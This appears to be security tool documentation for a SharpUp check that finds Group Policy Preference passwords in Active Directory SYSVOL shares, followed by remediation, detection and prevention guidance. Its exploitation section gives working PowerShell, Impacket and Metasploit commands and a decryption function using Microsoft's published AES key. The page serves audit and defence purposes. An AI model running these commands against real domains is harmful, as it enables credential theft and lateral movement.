> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# Domain GPP Password

> Group Policy Preference passwords in SYSVOL

## Overview

The Domain GPP Password check searches the domain SYSVOL share for Group Policy Preference (GPP) XML files containing encrypted passwords. SYSVOL is accessible to all authenticated domain users, making any credentials stored there accessible to the entire domain.

<Warning>
  This check requires domain connectivity and will only work on domain-joined systems.
</Warning>

## How It Works

SharpUp searches the SYSVOL share for policy XML files:

```
\\[DOMAIN]\SYSVOL\[DOMAIN]\Policies\**\*.xml
```

**Target Files:**

* Groups.xml
* Services.xml
* Scheduledtasks.xml
* DataSources.xml
* Printers.xml
* Drives.xml
* Registry.xml

### Technical Details

1. Retrieves the DNS domain name from environment variable `%USERDNSDOMAIN%`
2. Constructs SYSVOL path: `\\domain.com\SYSVOL`
3. Recursively searches for target XML files
4. Parses files for `cpassword` attributes
5. Reports files containing encrypted passwords

The encrypted passwords can be decrypted using Microsoft's published AES key.

## Example Output

```
=== GPP Password in SYSVOL ===
    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
    Type: Groups
    Username: LocalAdmin
    Password: P@ssw0rd123!

    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml
    Type: ScheduledTask
    Username: CONTOSO\svc_backup
    Password: BackupP@ss2019!
```

**Interpretation:**

* Multiple GPP files contain passwords
* LocalAdmin is a local account (possibly same password on all machines)
* svc\_backup is a domain service account
* All passwords are easily decryptable

## Exploitation

### Method 1: Manual Search and Decrypt

```powershell theme={null}
# Search SYSVOL for GPP files
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml |
ForEach-Object {
    $content = Get-Content $_.FullName
    if ($content -match 'cpassword') {
        Write-Host "Found password in: $($_.FullName)"
        $content
    }
}
```

### Method 2: Using PowerSploit Get-GPPPassword

```powershell theme={null}
# PowerSploit PowerUp module
Import-Module .\PowerUp.ps1
Get-GPPPassword

# Or specific search
Get-GPPPassword -Server dc01.contoso.com
```

### Method 3: Using Impacket

```bash theme={null}
# From Linux attacking machine
Get-GPPPassword.py contoso.com/user:password@dc01.contoso.com
```

### Method 4: Decrypt Password

Once you find an encrypted password (`cpassword` value):

```powershell theme={null}
function Decrypt-GPPPassword {
    param([string]$EncryptedPassword)

    $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

    $Aes = [System.Security.Cryptography.Aes]::Create()
    $Aes.Mode = "CBC"
    $Aes.Key = $AesKey
    $Aes.IV = New-Object Byte[]($AesKey.Length)

    $DecryptedBytes = $Aes.CreateDecryptor().TransformFinalBlock(
        [Convert]::FromBase64String($EncryptedPassword),
        0,
        [Convert]::FromBase64String($EncryptedPassword).Length
    )

    return [System.Text.Encoding]::Unicode.GetString($DecryptedBytes).TrimEnd([char]0)
}

# Usage
Decrypt-GPPPassword "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
```

### Method 5: Using Metasploit

```bash theme={null}
# Metasploit module
use post/windows/gather/credentials/gpp
set SESSION 1
run

# Or auxiliary scanner
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS 10.10.10.0/24
set SMBUser user
set SMBPass password
run
```

## Remediation

<Steps>
  <Step title="Identify All GPP Files in SYSVOL">
    ```powershell theme={null}
    # Search entire SYSVOL
    $domain = $env:USERDNSDOMAIN
    $sysvolPath = "\\$domain\SYSVOL"

    Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
    Where-Object {
        $content = Get-Content $_.FullName -Raw
        $content -match 'cpassword'
    } |
    Select-Object FullName, LastWriteTime
    ```
  </Step>

  <Step title="Document Found Credentials">
    Before deletion, document:

    * Which GPOs contain passwords
    * What accounts are affected
    * What systems receive these policies
    * What functionality will break when removed
  </Step>

  <Step title="Remove Passwords from GPOs">
    For each affected GPO:

    1. Open Group Policy Management Console (GPMC)
    2. Navigate to the policy containing passwords
    3. Remove or update the preference items:
       * **Groups:** Remove password-based group membership, use Restricted Groups instead
       * **Services:** Remove service credentials, use gMSA or sMSA
       * **Scheduled Tasks:** Remove task credentials, use gMSA
       * **Data Sources:** Remove connection strings, use Windows Authentication
       * **Drives:** Remove credentials, use proper share permissions
  </Step>

  <Step title="Delete XML Files from SYSVOL">
    After removing passwords from GPOs:

    ```powershell theme={null}
    # Delete old XML files (do this carefully!)
    # Files will regenerate without cpassword attribute after GPO update

    # Or manually delete specific files
    Remove-Item "\\$domain\SYSVOL\$domain\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml" -Force
    ```
  </Step>

  <Step title="Change All Exposed Credentials">
    ```powershell theme={null}
    # Change passwords for all accounts found in GPP
    # Local accounts
    net user LocalAdmin "NewComplexP@ssw0rd123!"

    # Domain accounts
    Set-ADAccountPassword -Identity svc_backup -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!" -Force)

    # Force password change at next logon if appropriate
    Set-ADUser -Identity svc_backup -ChangePasswordAtLogon $true
    ```
  </Step>

  <Step title="Implement KB2962486">
    Ensure all systems have MS14-025 installed:

    * Windows Server 2008 R2 / Windows 7: KB2962486
    * Newer systems: Already patched

    This removes the ability to set passwords in GPP preferences.
  </Step>

  <Step title="Verify Removal">
    ```bash theme={null}
    # Re-run SharpUp
    SharpUp.exe DomainGPPPassword

    # Should return no results
    ```
  </Step>
</Steps>

## Alternative Solutions

### Use Local Administrator Password Solution (LAPS)

```powershell theme={null}
# Install LAPS
# Download from Microsoft
# Import LAPS GPO templates
Import-Module AdmPwd.PS

# Extend AD schema
Update-AdmPwdADSchema

# Grant permissions
Set-AdmPwdComputerSelfPermission -Identity "OU=Workstations,DC=contoso,DC=com"

# Create GPO to enable LAPS
# Computer Configuration → Policies → Administrative Templates → LAPS
```

### Use Group Managed Service Accounts (gMSA)

```powershell theme={null}
# Create KDS root key (once per domain)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# Create gMSA
New-ADServiceAccount -Name svc_backup `
    -DNSHostName svc_backup.contoso.com `
    -PrincipalsAllowedToRetrieveManagedPassword "BackupServers$"

# Install on servers
Install-ADServiceAccount -Identity svc_backup

# Use in services - no password needed
```

### Use Restricted Groups Instead of GPP Groups

```powershell theme={null}
# In GPMC:
# Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups

# Add members to Administrators group without passwords
# This replaces Groups.xml functionality
```

## Detection

### Defensive Monitoring

```powershell theme={null}
# Monitor SYSVOL access
# Enable auditing on SYSVOL share

$sysvolPath = "\\$env:USERDNSDOMAIN\SYSVOL"
$acl = Get-Acl $sysvolPath

$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success,Failure"
)

$acl.AddAuditRule($auditRule)
Set-Acl $sysvolPath $acl

# Monitor Event ID 4663 for SYSVOL access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'SYSVOL.*\.xml'}
```

### Detection Strategies

<Tabs>
  <Tab title="File Access Monitoring">
    * Monitor bulk reading of XML files from SYSVOL
    * Alert on access to Groups.xml, Services.xml, etc.
    * Track unusual access patterns (non-DC accessing SYSVOL extensively)
  </Tab>

  <Tab title="Network Monitoring">
    * Monitor SMB traffic to SYSVOL share
    * Detect automated scanning tools
    * Alert on large data transfers from SYSVOL
  </Tab>

  <Tab title="PowerShell Monitoring">
    * Monitor for Get-GPPPassword cmdlet usage
    * Detect GPP password decryption scripts
    * Alert on base64 operations with known AES key bytes
  </Tab>

  <Tab title="Behavioral Analytics">
    * Baseline normal SYSVOL access patterns
    * Alert on access from unusual users or computers
    * Detect credential usage shortly after SYSVOL access
  </Tab>
</Tabs>

## Real-World Scenarios

<AccordionGroup>
  <Accordion title="Scenario 1: Enterprise-Wide Local Admin Password">
    **Context:** IT team used GPP to set same local administrator password on all 5,000 workstations 7 years ago.

    **Impact:**

    * Attacker compromises one workstation
    * Extracts GPP password from SYSVOL
    * Gains local admin on all 5,000 workstations
    * Complete enterprise compromise

    **Lesson:** This is why LAPS was created.
  </Accordion>

  <Accordion title="Scenario 2: Service Account in Scheduled Task">
    **Context:** Domain service account credentials stored in Scheduledtasks.xml for backup job.

    **Attack Path:**

    1. Attacker gets domain user access
    2. Reads SYSVOL and finds Scheduledtasks.xml
    3. Decrypts service account password
    4. Authenticates as service account
    5. Service account has broad permissions for backups
    6. Attacker exfiltrates all data

    **Solution:** Use gMSA for service accounts.
  </Accordion>

  <Accordion title="Scenario 3: Database Connection String">
    **Context:** DataSources.xml contains SQL Server connection string with SA password.

    **Impact:**

    * Direct access to production database
    * Data exfiltration
    * Data manipulation
    * Ransomware opportunity

    **Solution:** Use Windows Authentication for databases.
  </Accordion>
</AccordionGroup>

## Prevention Best Practices

<CardGroup cols={2}>
  <Card title="Never Use GPP for Passwords" icon="ban">
    Microsoft removed this feature for a reason. Don't work around the security patch.
  </Card>

  <Card title="Implement LAPS" icon="key">
    Use LAPS for all local administrator password management.
  </Card>

  <Card title="Use gMSA/sMSA" icon="robot">
    Service accounts should use managed service accounts without passwords.
  </Card>

  <Card title="Regular Audits" icon="magnifying-glass">
    Periodically scan SYSVOL for any XML files with passwords.
  </Card>
</CardGroup>

## Automated Remediation Script

```powershell theme={null}
# Run on Domain Controller
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Write-Host "[*] Scanning SYSVOL for GPP passwords..."

$foundFiles = Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
Where-Object {
    $content = Get-Content $_.FullName -Raw
    $content -match 'cpassword'
}

if ($foundFiles) {
    Write-Host "[!] Found $($foundFiles.Count) files with passwords:" -ForegroundColor Red
    $foundFiles | ForEach-Object {
        Write-Host "    $($_.FullName)" -ForegroundColor Yellow
    }

    Write-Host "`n[!] ACTION REQUIRED:" -ForegroundColor Red
    Write-Host "1. Document the GPOs and accounts involved"
    Write-Host "2. Remove passwords from GPO preferences (use LAPS/gMSA)"
    Write-Host "3. Delete these XML files"
    Write-Host "4. Change all exposed passwords"
} else {
    Write-Host "[+] No GPP passwords found in SYSVOL" -ForegroundColor Green
}
```

## Related Checks

<CardGroup cols={2}>
  <Card title="Cached GPP Password" icon="folder" href="/ghostpack-docs/SharpUp-mdx/checks/cachedgpppassword">
    Check for locally cached GPP files
  </Card>

  <Card title="Registry AutoLogons" icon="key" href="/ghostpack-docs/SharpUp-mdx/checks/registryautologons">
    Find auto-logon credentials in registry
  </Card>

  <Card title="Unattended Install Files" icon="file" href="/ghostpack-docs/SharpUp-mdx/checks/unattendedinstallfiles">
    Discover credentials in installation files
  </Card>

  <Card title="Remediation Guide" icon="shield" href="/ghostpack-docs/SharpUp-mdx/remediation">
    Comprehensive remediation guidance
  </Card>
</CardGroup>

## References

<CardGroup cols={2}>
  <Card title="Microsoft KB2962486" icon="book" href="https://support.microsoft.com/en-us/kb/2962486">
    MS14-025: Vulnerability in GPP could allow elevation of privilege
  </Card>

  <Card title="MITRE ATT&CK" icon="book" href="https://attack.mitre.org/techniques/T1552/006/">
    T1552.006 - Unsecured Credentials: Group Policy Preferences
  </Card>

  <Card title="LAPS Documentation" icon="book" href="https://www.microsoft.com/en-us/download/details.aspx?id=46899">
    Local Administrator Password Solution
  </Card>
</CardGroup>
